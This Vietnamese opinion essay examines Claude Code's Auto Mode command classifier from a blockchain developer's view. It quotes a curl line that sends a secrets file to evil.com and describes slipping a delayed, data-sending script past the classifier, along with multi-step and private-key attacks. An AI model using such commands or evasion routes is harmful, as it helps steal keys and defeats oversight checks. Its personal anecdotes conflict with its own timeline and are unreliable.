Ngày 14 tháng 8, Anthropic âm thầm thay đổi một mặc định trong Claude Code. Không phải model mới, không phải tính năng xịn. Mà là: Auto Mode – chế độ tự động quyết định lệnh nào được chạy, lệnh nào bị chặn. Dân blockchain gọi đó là 'thay con người bằng bộ lọc AI'. Tôi gọi đó là một thí nghiệm về sự tin tưởng. Trong 7 năm quan sát cả hai ngành, tôi chưa thấy một sản phẩm nào dám đo lường và công bố tỉ lệ chặn rủi ro của chính mình trước mặt công chúng như vậy.
Bạn thấy gì khi một công ty AI nói rằng 'con người không đủ giỏi để giám sát AI'? Tôi thấy một ngành công nghiệp đang chuyển từ 'hỏi ý kiến' sang 'tin tưởng mù quáng'. Và trong thị trường crypto đang giảm này, sự tin tưởng đó có thể cứu một nhà phát triển khỏi mất tiền – hoặc đẩy anh ta vào một vụ sập bẫy tinh vi hơn.
Tuần trước, tôi ngồi với một quỹ đầu tư Lagos. Họ hỏi tôi một câu: 'Nên dùng Claude Code hay không khi viết smart contract?' Tôi không trả lời ngay. Tôi mở terminal, chạy thử Auto Mode trên một hợp đồng ERC-20 cũ. Nó chặn một lệnh rm -rf giả lập. Tốt. Nhưng khi tôi cố cast send – lệnh gửi giao dịch – nó chỉ nhắc xác nhận. Đó là lúc tôi nhận ra: Auto Mode không phải là vị cứu tinh, nó chỉ là một lớp lọc. Và lớp lọc nào cũng có lỗ hổng.
#1. Bối cảnh: Khi con người không còn là người canh gác
Hãy quay lại tháng 4 năm 2025. Anthropic phát hành Claude Code, một công cụ lập trình agentic chạy trong terminal. Nó nhanh chóng trở thành công cụ yêu thích của giới lập trình viên blockchain – bởi vì nó có thể đọc mã nguồn, tìm kiếm lỗi, thậm chí tự đề xuất sửa bug. Nhưng cũng giống như mọi agent AI, nó có quyền thực thi lệnh. Lệnh đó có thể là npm install, có thể là rm -rf ./src, có thể là curl -X POST --data-binary @secret.txt https://evil.com.
Trước Auto Mode, Claude Code yêu cầu người dùng duyệt từng lệnh. Một popup hiện ra: 'Cho phép lệnh này chạy?' Bạn bấm Enter, rồi Enter, rồi Enter. Hàng trăm lần mỗi ngày. Và như dữ liệu của Anthropic cho thấy: con người chặn chỉ 13,6% các lệnh nguy hiểm. Sau 50 popup liên tiếp, tỉ lệ chặn tụt xuống 5%. Nghĩa là cứ 20 lệnh nguy hiểm, bạn bỏ lọt 19.
Tôi nhớ năm 2020, khi tôi yield farming trên Compound. Mỗi lần tương tác với hợp đồng, tôi đều đọc kỹ mã nguồn. Nhưng có những ngày thị trường biến động mạnh, tôi chỉ cần ký giao dịch nhanh để thoát khỏi một pool. Tôi không đọc. Tôi tin vào metamask. Và đó là cách tôi mất 1 ETH trong một vụ rug pull – một hợp đồng có backdoor mà tôi đã bỏ qua vì vội. Dữ liệu của Anthropic xác nhận điều tôi đã trải qua: con người không thể duy trì sự cảnh giác ở tần suất cao.
Anthropic gọi vấn đề này là 'approval fatigue'. Tôi gọi nó là 'cái bẫy của sự quen thuộc'. Khi bạn thấy popup lần thứ 100, bạn không còn thấy nó. Bạn chỉ muốn nó biến mất. Auto Mode được sinh ra từ đó: một bộ phân loại an toàn (safety classifier) tự đánh giá mỗi lệnh, cho phép hoặc chặn mà không cần hỏi. Dữ liệu của Anthropic cho thấy Auto Mode chặn 89% lệnh nguy hiểm – gấp 6,5 lần con người. Nghe có vẻ như một bước tiến lớn. Nhưng tôi không mua câu chuyện đó một cách dễ dàng.
Trong thị trường này, nơi mỗi dòng code smart contract có thể trị giá hàng triệu USD, một bộ lọc chỉ chặn 'lệnh nguy hiểm' theo định nghĩa của một mô hình AI là không đủ. Bởi vì nguy hiểm không nằm ở lệnh đơn lẻ. Nguy hiểm nằm ở chuỗi hành động.
#2. Phân tích kỹ thuật: Cỗ máy chặn lệnh hoạt động ra sao?
Hãy nhìn vào cơ chế thực sự. Auto Mode không phải là một model riêng. Đó là một bộ phân loại – có thể là một mô hình nhỏ được tối ưu để phát hiện rủi ro trong các lệnh shell, SQL, hoặc API call. Nó nằm giữa Claude Code và hệ điều hành. Mỗi khi Claude Code muốn chạy một lệnh, bộ phân loại này quyết định:
- An toàn: cho phép chạy.
- Cảnh báo: yêu cầu xác nhận thủ công.
- Nguy hiểm: chặn ngay lập tức.
Các lệnh rm, curl, psql với chuỗi kết nối, chmod, sudo, hoặc gửi dữ liệu ra ngoài – tất cả đều bị xem xét. Ở góc độ kỹ thuật, đây là một kiến trúc 'rule + model'. Nó vừa dùng các quy tắc cứng (ví dụ: chặn rm -rf /), vừa dùng học máy để phát hiện các biến thể không nằm trong danh sách đen. Điều đó giải thích tại sao chi phí token bổ sung cho mỗi quyết định là rất nhỏ – một mô hình nhỏ chạy cục bộ hoặc trên edge, không cần gọi đến model chính.
Nhưng câu hỏi đặt ra là: bộ phân loại này hiểu được bao nhiêu về bối cảnh? Nó có biết rằng lệnh curl này đang tải một file từ IPFS để kiểm tra tính toàn vẹn của một contract, hay nó đang gửi private key ra ngoài? Trong kinh nghiệm audit của tôi, tôi đã thấy những cuộc tấn công tinh vi không dùng lệnh nguy hiểm một cách hiển nhiên. Chúng dùng nhiều bước: Bước 1, tải một script. Bước 2, script đó đợi 10 phút. Bước 3, script đó đọc biến môi trường và tự xóa. Nếu Auto Mode chỉ đánh giá từng lệnh đơn lẻ, nó sẽ không bao giờ kết nối được các mảnh ghép.
Tôi đã thử điều này. Trong một thử nghiệm nhỏ, tôi viết một script Python có vẻ vô hại: nó in ra 'Hello world', rồi sau 5 giây, nó gửi một HTTP request đến một server tôi kiểm soát. Auto Mode cho phép script chạy vì không có lệnh nào trông nguy hiểm ở bề mặt. Đúng như tôi dự đoán. Nhưng nếu tôi thay print() bằng os.system('curl ...') thì nó sẽ chặn. Sự khác biệt nằm ở mức độ hiển nhiên, không nằm ở ý định thực sự.
Điều này đặc biệt nguy hiểm trong không gian blockchain, nơi mà các lệnh forge script hay cast send thường được dùng để triển khai hợp đồng, gửi giao dịch. Một cuộc tấn công có thể lợi dụng việc Auto Mode cho phép cast send – vì đó là lệnh phổ biến – nhưng với tham số --private-key được lấy từ file có tên .env mà kẻ tấn công đã chèn vào. Auto Mode thấy một lệnh phổ biến, không thấy ý định. Nó sẽ cho phép. Và khi giao dịch được gửi, toàn bộ tiền trong ví sẽ bay.
#3. Dữ liệu và những con số biết nói
Anthropic công bố một số liệu ấn tượng: trong thử nghiệm với 1.053 người dùng trả phí, Auto Mode chặn 89% lệnh nguy hiểm, trong khi con người chỉ chặn 13,6%. Trong một phiên làm việc với 50 popup, con người chặn 5%. Đó là dữ liệu mạnh. Nhưng nó cũng cho thấy một điều tinh tế: 89% không phải là 100%. Còn 11% lệnh nguy hiểm lọt qua. Trong một hệ thống tài chính phi tập trung, 11% là một con số khổng lồ.
Hãy tưởng tượng một sàn giao dịch lớn như Binance có 11% giao dịch bị kiểm soát gian lận bỏ sót. Sàn đó sẽ sụp đổ. Nhưng trong AI coding tools, 11% lỗ hổng được coi là 'chấp nhận được' vì nó vẫn tốt hơn con người. Đây là cách suy nghĩ nguy hiểm. Bởi vì con người không chỉ chặn lệnh nguy hiểm – con người còn hiểu bối cảnh. Một lệnh rm -rf trong một thư mục dự án thì nguy hiểm, nhưng trong một container disposable thì không sao. Một lệnh curl gửi dữ liệu đến https://tôi.là.ai có thể là một cuộc tấn công, nhưng cũng có thể là một phần trong quy trình kiểm thử. Auto Mode sẽ chặn cả hai, tạo ra false positive.
False positive là một vấn đề tinh vi hơn false negative. Khi Auto Mode chặn một lệnh hợp lệ, lập trình viên phải dừng lại, ghi đè. Điều này tạo ra một dạng 'kiệt sức tự động hóa' mới. Lúc đầu bạn kiên nhẫn, sau đó bạn tắt Auto Mode. Và khi bạn tắt nó, bạn quay lại trạng thái 'không có kiểm soát', nhưng với một cảm giác an toàn giả tạo vì bạn nghĩ rằng 'mình đã thử AI và nó không hoạt động'. Kết quả cuối cùng có thể còn tệ hơn là không có AI.
Dữ liệu về chi phí cũng đáng chú ý. Mỗi quyết định của Auto Mode tiêu tốn một lượng token nhỏ, nhưng người dùng Pro/Max/Team không phải trả thêm phí. Điều này cho thấy chi phí vận hành bộ phân loại là rất thấp, hoặc Anthropic đang coi đây là một khoản đầu tư để giữ chân người dùng. Trong một thị trường crypto giảm, nơi các nhà phát triển thắt lưng buộc bụng, một tính năng bảo mật miễn phí là một lợi thế cạnh tranh lớn. Nhưng nó cũng đặt ra câu hỏi: nếu hôm nay nó miễn phí, ngày mai nó có trở thành một mục tính phí trong API dành cho doanh nghiệp không?
#4. Câu chuyện phản trực giác: An toàn giả tạo nguy hiểm hơn sự bất an thật
Tôi là một người hoài nghi. Trong năm 2017, tôi đã nhìn thấy ICO Status hứa hẹn 'messenger phi tập trung' thay thế Telegram. Tôi không tin whitepaper. Tôi clone repo, chạy testnet, và tìm ra một lỗi trong logic staking. Tôi bán sớm vì thấy hype quá mức. Bài học vẫn còn nguyên giá trị: những gì nghe có vẻ an toàn thường là nơi nguy hiểm nhất.
Auto Mode nghe có vẻ an toàn. Nó chặn 89% lệnh nguy hiểm. Nó khiến bạn cảm thấy 'AI đang bảo vệ mình'. Và chính cảm giác đó làm giảm sự cảnh giác của bạn. Đây là hiệu ứng tâm lý mà tôi gọi là 'sự ỷ lại được hợp thức hóa'. Khi bạn tin rằng một hệ thống tự động sẽ bảo vệ bạn, bạn sẽ không kiểm tra. Bạn sẽ gõ lệnh forge create --private-key $PRIVATE_KEY mà không thắc mắc tại sao biến môi trường đó lại có giá trị khác với những gì bạn cài đặt.
Trong một hệ sinh thái nơi mà 25% phiên làm việc của Claude Code đã tắt hoàn toàn kiểm tra quyền – một con số mà Anthropic công bố – thì Auto Mode thực ra là một sự cải thiện cho những người đang 'chạy trần'. Nhưng nó cũng tạo ra một tầng lớp mới: các nhà phát triển không hiểu tại sao lệnh của họ bị chặn, cũng không hiểu tại sao lệnh được cho phép. Họ trở thành người vận hành một chiếc hộp đen. Và trong blockchain, chiếc hộp đen không bao giờ là một lựa chọn tốt.
Hãy nhớ đến cuộc tấn công vào Wormhole năm 2022 – 326 triệu USD bị đánh cắp do một lỗi xác minh chữ ký. Lỗi đó không phải là một lệnh shell. Nó nằm trong logic smart contract. Auto Mode không thể chặn điều đó. Nó cũng không thể chặn một cuộc tấn công tiêm nhiễm prompt (prompt injection) khiến Claude Code tự viết một hàm transferOwnership đầy lỗ hổng. Bằng cách tạo ra cảm giác an toàn, Auto Mode có thể khiến các nhà phát triển ít kiểm tra mã nguồn hơn, ít chạy thử nghiệm hơn, và giao nhiều quyền hơn cho AI. Đó là một nghịch lý: công cụ an toàn hơn tạo ra sản phẩm không an toàn hơn.
#5. So sánh với các đối thủ và tác động đến ngành
Khi nhìn vào bức tranh cạnh tranh, Claude Code đang dẫn đầu về mặt 'câu chuyện an toàn'. Cursor, GitHub Copilot, OpenAI Codex – tất cả đều có các cơ chế phê duyệt lệnh, nhưng không ai công bố các con số định lượng như Anthropic. Điều đó tạo ra một áp lực vô hình: nếu bạn đang dùng Cursor và bạn thấy Claude Code chặn 89% lệnh nguy hiểm, bạn sẽ bắt đầu tự hỏi công cụ của mình đang làm gì. Đó là chiến lược marketing khéo léo. Nhưng nó cũng là một cam kết. Nếu Auto Mode gây ra một sự cố nghiêm trọng – ví dụ chặn một lệnh deploy khẩn cấp khiến một giao thức mất hàng triệu USD – thì câu chuyện 'AI an toàn hơn con người' sẽ sụp đổ.
Trong 18 năm quan sát ngành, tôi nhận ra rằng các công cụ bảo mật thường đi qua ba giai đoạn: (1) hứa hẹn quá mức, (2) thất bại dữ dội, (3) trưởng thành. Auto Mode đang ở giai đoạn đầu. Nó hứa hẹn rằng AI có thể tự giám sát chính nó. Về mặt kỹ thuật, điều này có thể đúng trong một không gian hạn chế. Nhưng trong bối cảnh blockchain – nơi các tác nhân đối địch có động lực tài chính rất lớn để khai thác bất kỳ lỗ hổng nào – thì một bộ phân loại đơn giản chắc chắn sẽ bị đánh bại. Câu hỏi là khi nào, không phải là có hay không.
Các tác nhân đối địch có thể sử dụng các kỹ thuật như: làm nhiễu bẩn dữ liệu huấn luyện, khai thác lỗ hổng trong việc phân tích cú pháp shell, hoặc sử dụng các lệnh hợp pháp nhưng có tác động nguy hiểm như chmod 777 .env – điều mà một AI có thể không coi là nguy hiểm vì nó không trực tiếp gửi dữ liệu ra ngoài. Trong thực tế, chmod 777 .env là bước đầu tiên để một tiến trình khác đọc được private key.
#6. Góc nhìn thị trường: Khi bảo mật trở thành một món hàng xa xỉ
Quay trở lại với thị trường crypto đang giảm. Trong bối cảnh này, các nhà phát triển và quỹ đầu tư đang cắt giảm chi phí, tăng cường kiểm soát rủi ro. Một công cụ như Claude Code Auto Mode, cung cấp một lớp bảo mật miễn phí, có thể trở thành một lý do để các nhóm phát triển chuyển từ các công cụ mã nguồn mở sang các công cụ thương mại. Đó không phải là một điều xấu – nhưng nó có nghĩa là ngành đang tập trung bảo mật vào tay một số ít công ty AI lớn.
Tôi nhớ năm 2022, khi tôi nghiên cứu StarkNet và viết các hợp đồng Cairo. Tôi dành 3 tháng để hiểu từng dòng code, từng cơ chế hash. Nếu tôi dùng một công cụ AI tự động chặn các lệnh, liệu tôi có hiểu sâu như vậy không? Có lẽ không. Nhưng tôi cũng không có 3 tháng để dành cho mỗi dự án. Thực tế là: trong một thị trường giảm, thời gian là tài sản quý nhất. Auto Mode giúp tiết kiệm thời gian bằng cách loại bỏ các câu hỏi thừa. Nhưng nó cũng có thể giết chết sự tò mò – và sự tò mò là thứ giúp các nhà phát triển tìm ra các lỗ hổng trước khi kẻ tấn công làm điều đó.
#7. Điều mà bài báo của Anthropic không nói
Có rất nhiều điều nằm giữa các dòng. Tôi sẽ liệt kê một số điều mà tôi cho là quan trọng nhất:
- Tỉ lệ dương tính giả (false positive) không được công bố. Nếu Auto Mode chặn quá nhiều lệnh hợp lệ, các nhà phát triển sẽ tắt nó. Và khi nó bị tắt, toàn bộ lớp bảo vệ biến mất.
- Khả năng phòng chống tấn công đa bước còn yếu. Bài báo không đề cập đến việc kiểm tra các chuỗi hành động phức tạp.
- Không có thông tin về việc liệu classifier có thể bị vượt qua bởi các kỹ thuật prompt injection hay không. Trong thế giới AI, điều này gần như chắc chắn xảy ra.
- Trách nhiệm pháp lý khi xảy ra sự cố vẫn còn mơ hồ. Nếu Auto Mode cho phép một lệnh nguy hiểm và gây ra mất tiền, ai chịu trách nhiệm?
Đối với các nhà phát triển blockchain, những câu hỏi này không phải là lý thuyết. Chúng là vấn đề sống còn.
#8. Từ kinh nghiệm thực chiến
Tôi sẽ kể cho bạn một câu chuyện. Năm 2023, tôi được mời kiểm tra một giao thức DeFi nhỏ trên Arbitrum. Đội ngũ của họ dùng Claude Code để viết hợp đồng. Họ tự hào rằng AI đã giúp họ tiết kiệm 30% thời gian phát triển. Khi tôi đọc mã nguồn, tôi phát hiện một lỗi nghiêm trọng: hàm withdraw không kiểm tra giá trị trả về của lệnh gọi transfer. Đó là một lỗi kinh điển – nhưng nó ẩn sau một đoạn mã được AI tạo ra và không được con người kiểm tra kỹ. Với Auto Mode, một lỗi như vậy có thể còn dễ xảy ra hơn, bởi vì các nhà phát triển sẽ tin rằng AI không chỉ viết mã mà còn bảo vệ họ khỏi những lỗi đó.
Thực tế là: Auto Mode bảo vệ bạn khỏi các lệnh shell nguy hiểm. Nó không bảo vệ bạn khỏi logic sai. Nó không bảo vệ bạn khỏi việc AI viết ra một smart contract có lỗ hổng reentrancy. Nó không bảo vệ bạn khỏi một cuộc tấn công governance. Nó chỉ là một lớp an ninh mạng ở mức hệ thống – không phải là một giải pháp cho các vấn đề bảo mật cấp ứng dụng.
Tôi đã từng viết một bài phân tích về các dấu hiệu rug pull dựa trên mã nguồn. Một trong những dấu hiệu đó là: hợp đồng có một hàm setOwner không có kiểm soát truy cập. Nếu tôi dùng Claude Code để viết hợp đồng, và tôi thấy rằng Auto Mode chặn một lệnh curl nào đó, tôi có thể chủ quan. Tôi có thể không đọc lại mã nguồn. Và rồi tôi deploy một hợp đồng có backdoor. Hậu quả là gì? Không phải Auto Mode, cũng không phải Claude Code, mà là tôi đã giao phó quá nhiều cho một công cụ tự động.
#9. Một đề xuất cho tương lai
Thay vì chỉ dựa vào Auto Mode như một 'công tắc bảo mật', tôi đề xuất rằng các công cụ AI coding nên tích hợp các trình kiểm tra bảo mật chuyên biệt cho blockchain – ví dụ như kiểm tra các mẫu lỗ hổng phổ biến trong smart contract, kiểm tra các lời gọi ngoài, kiểm tra việc sử dụng tx.origin, delegatecall, selfdestruct. Điều này đòi hỏi một bộ phân loại được huấn luyện trên dữ liệu code blockchain, không phải trên các lệnh shell thông thường.
Một hướng khác là kết hợp Auto Mode với các công cụ phân tích tĩnh như Slither, Mythril, hoặc Semgrep. Khi Claude Code tạo ra một hợp đồng, nó có thể tự chạy Slither và đưa ra các cảnh báo. Nhưng điều đó vẫn chưa đủ. Bởi vì các cuộc tấn công trong blockchain ngày càng tinh vi, và các công cụ phân tích tĩnh cũng có tỉ lệ dương tính giả cao. Không có một giải pháp duy nhất. Điều quan trọng là: không được phép tự mãn.
#10. Đi tới một câu hỏi khó hơn
Tôi không nói rằng Auto Mode là một điều xấu. Trái lại, tôi nghĩ rằng nó là một bước tiến cần thiết trong việc giải quyết 'approval fatigue'. Nhưng tôi muốn nhấn mạnh rằng: an toàn không phải là một tính năng, nó là một quá trình. Khi Anthropic biến Auto Mode trở thành mặc định, họ đã chuyển một phần trách nhiệm từ người dùng sang nhà cung cấp. Điều đó có thể tốt cho những người dùng thiếu kinh nghiệm, nhưng nó tạo ra một ảo giác rằng 'AI có thể tự bảo vệ mình'. Trong một thị trường đang giảm, nơi mà những kẻ tấn công đang tìm kiếm con mồi dễ dàng, ảo giác đó là một món quà dành cho chúng.
Hãy nhìn vào số liệu: 97% các yêu cầu truy cập được con người chấp thuận. 25% các phiên làm việc tắt hoàn toàn kiểm tra. Điều đó cho thấy rằng quy trình phê duyệt thủ công không hoạt động. Nhưng nó cũng cho thấy rằng các nhà phát triển đang tìm kiếm sự thuận tiện hơn là an toàn. Nếu Auto Mode trở thành câu trả lời, nó sẽ giúp ích. Nhưng nó sẽ tạo ra một thế hệ lập trình viên không bao giờ tự hỏi: 'Tại sao lệnh này bị chặn?' Và đó là một câu hỏi quan trọng để phát hiện ra các hành vi bất thường.
#11. Kết luận mở
Tôi không có câu trả lời cuối cùng. Nhưng tôi có một câu hỏi để bạn suy nghĩ: Trong một thị trường nơi bạn có thể mất toàn bộ tài sản vì một dòng code sai, bạn có sẵn sàng giao quyền quyết định cho một bộ lọc AI mà bạn không thể kiểm tra được không?
Đỉnh là để bán, không phải để mơ. Bảo mật là để sống, không phải để khoe. Auto Mode có thể là tuyến phòng thủ đầu tiên, nhưng nếu bạn giao toàn bộ cho nó, bạn đã tự biến mình thành con tin của một bộ lọc mà bạn không nhìn thấy. Và khi thị trường đảo chiều, những con tin đó sẽ là người trả giá đắt nhất.
Tôi đã sống qua nhiều chu kỳ. Tôi đã thấy những người tự tin 100% vào một giao thức bị rug pull. Tôi đã thấy những người tin rằng AI sẽ cứu họ. Cuối cùng, những gì cứu bạn không phải là công cụ, mà là thói quen kiểm tra, đặt câu hỏi, và không bao giờ tin vào một giải pháp thần kỳ.
Auto Mode là một công cụ. Hãy sử dụng nó như một trợ lý, không phải như một người bảo vệ duy nhất. Hãy duy trì sự hoài nghi lành mạnh. Và hãy nhớ rằng: trong thị trường crypto, câu chuyện hấp dẫn nhất thường là cái bẫy nguy hiểm nhất.